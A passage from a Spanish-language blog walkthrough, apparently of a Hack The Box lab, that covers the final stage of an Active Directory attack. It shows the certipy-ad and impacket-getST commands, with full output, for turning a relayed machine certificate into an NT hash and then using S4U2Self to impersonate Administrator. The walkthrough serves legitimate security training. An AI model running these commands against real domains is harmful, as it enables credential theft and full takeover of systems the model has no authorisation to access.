<p>Porque las cuentas máquina en Active Directory por defecto tienen habilitada la delegación, lo que nos permite después abusar de <strong>S4U2Self</strong> para impersonar al Administrator. Con una cuenta de usuario normal como <code class="language-plaintext highlighter-rouge">svc_acc</code> eso no sería posible directamente.</p>

<p>En resumen, <code class="language-plaintext highlighter-rouge">svc_acc</code> fue nuestra llave para entrar al dominio DNS, pero <code class="language-plaintext highlighter-rouge">WEB-01$</code> es la cuenta que nos da el poder real para escalar.</p>

<p><strong>Lo que acaba de pasar:</strong></p>

<ol>
  <li>La máquina se autenticó con Kerberos contra mí</li>
  <li>krbrelayx <strong>relayó esa autenticación</strong> hacia ADCS</li>
  <li>ADCS validó la autenticación como legítima</li>
  <li>Generó un <strong>certificado de máquina válido</strong> para <code class="language-plaintext highlighter-rouge">WEB-01$</code></li>
  <li>krbrelayx lo guardó como <code class="language-plaintext highlighter-rouge">WEB-01.pfx</code></li>
</ol>

<p>Ahora tengo un certificado válido que puedo usar para autenticarme como la cuenta máquina <code class="language-plaintext highlighter-rouge">WEB-01$</code>.</p>

<h3 id="extrayendo-el-hash-nt-con-el-certificado">Extrayendo el hash NT con el certificado</h3>

<p>Uso <strong>certipy-ad</strong> para autenticarme con el certificado y extraer el hash NT</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>.env<span class="o">)</span>─<span class="o">(</span>root㉿kali<span class="o">)</span>-[/home/kali/Downloads/krbrelayx]
└─# proxychains certipy-ad auth <span class="nt">-pfx</span> WEB-01.pfx <span class="nt">-dc-ip</span> 172.16.20.1 <span class="nt">-ns</span> 172.16.20.1
<span class="o">[</span>proxychains] config file found: /etc/proxychains4.conf
<span class="o">[</span>proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
<span class="o">[</span>proxychains] DLL init: proxychains-ng 4.17
Certipy v5.0.4 - by Oliver Lyak <span class="o">(</span>ly4k<span class="o">)</span>

<span class="o">[</span><span class="k">*</span><span class="o">]</span> Certificate identities:
<span class="o">[</span><span class="k">*</span><span class="o">]</span>     SAN DNS Host Name: <span class="s1">'WEB-01.darkcorp.htb'</span>
<span class="o">[</span><span class="k">*</span><span class="o">]</span>     Security Extension SID: <span class="s1">'S-1-5-21-3432610366-2163336488-3604236847-20601'</span>
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Using principal: <span class="s1">'web-01$@darkcorp.htb'</span>
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Trying to get TGT...
<span class="o">[</span>proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.16.20.1:88  ...  OK
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Got TGT
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Saving credential cache to <span class="s1">'web-01.ccache'</span>
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Wrote credential cache to <span class="s1">'web-01.ccache'</span>
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Trying to retrieve NT <span class="nb">hash </span><span class="k">for</span> <span class="s1">'web-01$'</span>
<span class="o">[</span>proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.16.20.1:88  ...  OK
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Got <span class="nb">hash </span><span class="k">for</span> <span class="s1">'web-01$@darkcorp.htb'</span>: aad3b435b51404eeaad3b435b51404ee:8f33c7fc7ff515c1f358e488fbb8b675
</code></pre></div></div>

<p>El certificado me permite autenticarme y mediante <strong>PKINIT</strong> (autenticación Kerberos con certificados), certipy extrae el hash NT de la cuenta máquina.</p>

<h3 id="impersonando-al-administrator-con-s4u2self">Impersonando al Administrator con S4U2Self</h3>

<p>Aquí viene el golpe final. Con el hash de <code class="language-plaintext highlighter-rouge">WEB-01$</code>, puedo abusar de las extensiones de delegación de Kerberos <strong>S4U2Self</strong> para solicitar un ticket de servicio (ST) <strong>en nombre del usuario Administrator</strong></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>.env<span class="o">)</span>─<span class="o">(</span>root㉿kali<span class="o">)</span>-[/home/kali/Downloads/krbrelayx]
└─# proxychains impacket-getST <span class="nt">-self</span> <span class="s1">'DARKCORP.HTB/WEB-01$'</span> <span class="nt">-altservice</span> <span class="s1">'cifs/web-01.darkcorp.htb'</span> <span class="nt">-dc-ip</span> 172.16.20.1 <span class="nt">-impersonate</span> <span class="s1">'administrator'</span> <span class="nt">-hashes</span> <span class="s1">'aad3b435b51404eeaad3b435b51404ee:8f33c7fc7ff515c1f358e488fbb8b675'</span>
<span class="o">[</span>proxychains] config file found: /etc/proxychains4.conf
<span class="o">[</span>proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
<span class="o">[</span>proxychains] DLL init: proxychains-ng 4.17
<span class="o">[</span>proxychains] DLL init: proxychains-ng 4.17
<span class="o">[</span>proxychains] DLL init: proxychains-ng 4.17
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies 

<span class="o">[</span>-] CCache file is not found. Skipping...
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Getting TGT <span class="k">for </span>user
<span class="o">[</span>proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.16.20.1:88  ...  OK
<span class="o">[</span>proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.16.20.1:88  ...  OK
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Impersonating administrator
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Requesting S4U2self
<span class="o">[</span>proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.16.20.1:88  ...  OK
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Changing service from WEB-01<span class="nv">$@</span>DARKCORP.HTB to cifs/web-01.darkcorp.htb@DARKCORP.HTB
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Saving ticket <span class="k">in </span>administrator@cifs_web-01.darkcorp.htb@DARKCORP.HTB.ccache
</code></pre></div></div>

<p><strong>¿Qué es S4U2Self?</strong><br />
Es una extensión de Kerberos que permite a un servicio <strong>solicitar un ticket para cualquier usuario</strong> hacia sí mismo, incluso si ese usuario nunca se autenticó directamente. Diseñado para delegation, pero explotable para impersonación.</p>

<p><strong>Parámetros clave:</strong></p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">-self</code>: Usa S4U2Self (solicitar ticket para otro usuario)</li>
  <li><code class="language-plaintext highlighter-rouge">-impersonate 'administrator'</code>: Usuario a suplantar</li>
  <li><code class="language-plaintext highlighter-rouge">-altservice 'cifs/web-01.darkcorp.htb'</code>: Servicio destino</li>
</ul>

<p>Ya con el ticket Kerberos del Administrator para el servicio CIFS de <code class="language-plaintext highlighter-rouge">WEB-01</code>, tengo control total sobre esa máquina. CIFS es el protocolo de compartición de archivos de Windows, así que con un ticket válido como Administrator sobre este servicio puedo autenticarme, ejecutar comandos remotamente, leer y escribir archivos y acceder a cualquier recurso compartido de esa máquina sin restricciones.</p>

<hr />

<p>Diagrama del flujo del <strong>Krbrelay Attack</strong></p>

<p><a href="/assets/images/krbrelay-flow.png"><img src="/assets/images/krbrelay-flow.png" alt="" /></a></p>]]></content><author><name>0xzig0x</name></author><category term="Hack The Box" /><category term="Windows" /><category term="Active Directory" /><category term="Kerberos" /><category term="NTLMRelay" /><category term="KrbRelay" /><category term="Active Directory Certificate Services" /><category term="Ticket Service" /><category term="Domain Controller" /><category term="PetitPotam" /><category term="DNSAdmins" /><category term="Responder" /><category term="S4U2Self" /><category term="Coerced Authentication" /><category term="BloodHound" /><category term="certipy-ad" /><category term="impacket" /><category term="socat" /><category term="krbrelayx" /><category term="Privilege Escalation" /><category term="Lateral Movement" /><category term="Credential Capture" /><category term="HTB" /><summary type="html"><![CDATA[Hoy voy a hablar de un ataque bastante interesante y con varios pasos encadenados para comprometer un Active Directory completo. La cosa empieza así: hay una cuenta de servicio que pertenece al grupo DNSAdmins, pero yo no tengo sus credenciales. Lo único que tengo es una forma de provocar tráfico desde esa cuenta hacia mí.]]></summary></entry></feed>